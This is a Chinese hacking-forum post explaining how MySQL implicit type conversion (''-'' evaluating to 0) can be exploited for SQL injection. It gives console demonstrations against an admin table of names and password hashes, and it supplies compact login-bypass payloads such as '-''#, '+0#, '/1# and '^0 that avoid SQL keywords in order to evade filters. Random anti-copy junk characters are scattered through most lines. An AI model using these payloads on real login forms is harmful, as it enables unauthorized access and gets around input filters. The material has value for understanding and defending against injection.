找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2047|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。" i. [& a, B! ?* `, F
有以下表结构: # i! Q2 K9 y* m* a
/ }" h0 M6 Y. I" H
mysql> desc admin;
* U6 G1 j# Z! M% I1 L4 k9 R# ~* j+----------+--------------+------+-----+---------+----------------+5 {7 K6 L0 E( s
| Field    | Type         | Null | Key | Default | Extra          |  E6 Q% I; j; w8 L! g- r
+----------+--------------+------+-----+---------+----------------+
6 ^; r/ ]! m& Y% S3 I3 R5 {# P6 ]$ a| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |5 |' Z: V3 Y! H6 f; a+ f
| name     | char(32)     | NO   | UNI | NULL    |                |# }2 A7 J. E, A7 ~4 X2 M; G- H4 K
| password | char(32)     | NO   | UNI | NULL    |                |
! H9 |+ ^- \, p( ?3 s7 W3 n1 i+----------+--------------+------+-----+---------+----------------+2 q7 B  }  J6 k/ s7 X3 O3 z
3 rows in set (0.00 sec)$ e; _& A! H6 b, l7 i; v0 r9 ~
执行select * from admin;,成功返回所有记录内容。
) ?6 X& A2 n$ x1 c' T, N" {- u7 x* L! f! M8 X
, c% x, |  j1 Q+ R8 r
+----+--------+----------------------------------+
5 u* \6 A/ \$ M' B( c8 E/ `% t2 S| id | name   | password                         |
  z8 q  R4 A' q4 ]( _4 @/ u+----+--------+----------------------------------+( x( n' Z' Q4 T- ~9 ~1 J( {
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
& m; y: {# E/ Q/ j- h, ?0 T/ z|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
' p" ]  J- r# h2 A4 [( W* w2 y. r  O2 g|  4 | n00b   | ff80e8508d39047460921792273533a4 |
& Z0 h" ]; z# T* ]2 c  D+----+--------+----------------------------------+6 {) I" r/ {# y# L- N7 L" a4 c* m/ d7 d
3 rows in set (0.00 sec)5 \* U5 J+ H* S* A+ Y0 x1 G
执行select * from admin where name=”;,没有匹配到任何记录。
' D) |0 X) Q& L/ g* s& f
% W7 b8 B% B; |( `+ n7 e% ?$ smysql> select * from admin where name = '';: _' K* ]1 O" g# `3 [- R: x* c
Empty set (0.00 sec)
- Z/ L+ j; n4 ~, H那么我们来执行select * from admin where name = ”-”;
( i5 D1 F( Z6 Z3 P2 M+ h! b  v, W* h2 }; }9 ^  v$ {
5 R. U- ?5 T( F/ ]6 q9 m' f
+----+--------+----------------------------------+7 _* C& y* D4 A" b  y
| id | name   | password                         |
' G4 ^' B7 Z3 v+ c; [7 _8 Q+----+--------+----------------------------------+
/ M$ }1 s; ]8 A1 Z% |" g|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
4 a8 A, W4 j' p3 r|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
: ~: S! P' P4 ~4 \|  4 | n00b   | ff80e8508d39047460921792273533a4 |
' e6 b$ }, ]  a1 j: H9 y* r, |5 L+----+--------+----------------------------------+2 ]+ Z" ~/ A, O
3 rows in set, 3 warnings (0.00 sec)
" U# y" l4 q# f$ ?可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:   \  t+ N; c7 D) ?

+ V% J. q& |8 X: x' x( X" hmysql> show warnings;8 Q+ k% j( y5 ]+ O7 ?
+---------+------+------------------------------------------
: j" m1 A; C- C/ l+ D- S1 T* [| Level   | Code | Message
7 C/ z+ Q& C, p+---------+------+------------------------------------------) E, ?. F. G3 A+ j
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
$ z, h1 ?6 R. m# p; u! |! O| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
5 Z) u6 k8 ~4 b7 W2 g. I' j| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b: ?2 p' N+ q  Q& W- J2 P- Q# x
+---------+------+------------------------------------------
+ N5 ?+ @' I5 Z: j! ]9 B; s: W3 rows in set (0.00 sec)
6 ?4 J9 p& B; @/ j- c/ ]6 R) \提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
, A, u1 t3 n8 d2 |7 I  ^
5 z/ d* C" X6 u6 a6 [mysql> select ''-'';
  l) Y; H) z' O; L- x1 ?0 F' e7 Q+-------+: j( W, L1 ~! g0 d: N+ y) K2 S" \
| ''-'' |2 I9 y" R  K/ y
+-------+
& Y. h5 _* i& l% d- o|     0 |! v, p4 o8 F) P/ j7 p
+-------+2 R* B  d( e. D8 `" U
1 row in set (0.00 sec)) |3 O+ X. P1 s& V! O
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 8 w: Z, Y1 M& c* [& l6 D+ R& o" _

9 \  e+ G( s5 T/ o; K* f* Amysql> select CAST((select name from admin limit 1,1) as DECIMAL);
' s' f1 W. d# h( F# ~2 q+-----------------------------------------------------++ o7 ?" l8 @2 Z. `0 n1 x( x
| CAST((select name from admin limit 1,1) as DECIMAL) |3 _3 u* G2 [2 U1 `- h9 C" o7 A9 k
+-----------------------------------------------------+8 X3 E" w, {! O2 m% c$ E7 w9 F4 u
|                                                   0 |
* e* ^  c9 \( G5 d+-----------------------------------------------------+
5 v# _. l# F: ^& j- o4 ~* A, ^1 row in set, 1 warning (0.00 sec)6 E8 I5 G2 B* V2 S6 G* l
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 4 o7 Y( i5 U: [. U9 B7 W2 i. S
( |" v+ G( _' m
SQL注入场景: http://www.sqlzoo.net/hack/ / q( Q- m! K! l+ ?6 m# L
: s5 R% i3 e: Z
4 u" |% H) t4 ~9 T8 j  r

. a2 C+ W! X6 O9 f) M2 I
8 U. g. J8 y, S: u! o6 ~7 H1 H1 s3 d如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
$ A" o7 }6 M; X. W' b7 ]' o/ T; O6 q) z9 ?
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 $ k: Z! X" D/ ]/ H" t

' @7 D) m6 F6 a5 I& ^. q' M
" D' m; @. f8 O$ A7 F( D
+ i$ g& }2 A- A% J3 ]+ ?
* A# y: M+ n. Y; f" q% R5 F! C仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 6 b8 P; c" C) z( X* \6 e
& a5 G$ U" C+ _/ D8 r. t; O. ^7 W
   
4 L4 F' v" R6 d# s, Y6 }" p
8 j8 Z1 Q, {, v. q% ^) `! T除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
4 b: f5 O8 s0 d
6 f0 l: [3 U" i' m; T  G  Y0 ?" O5 {
mysql> select ''/1;& e# M' i, }$ f1 ?+ F4 r6 E) d8 U& F
+------++ i! Y* f6 P1 ?5 f" e! A8 n
| ''/1 |
6 ^: N% u+ e  y) v" g& E+------+8 d5 R' h& }& H0 \+ q
|    0 |
2 E$ U, k- A$ e) Y, v  J: W  j+------+
  }* @1 g5 ^6 \0 I. M( ^1 row in set (0.00 sec)0 z- b7 ~0 C$ W7 k
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
  ?1 h. ~# v. y$ X+ z: _; ?. K; U9 j
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
" X3 q) M: |' h& ~! Z) N5 O3 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表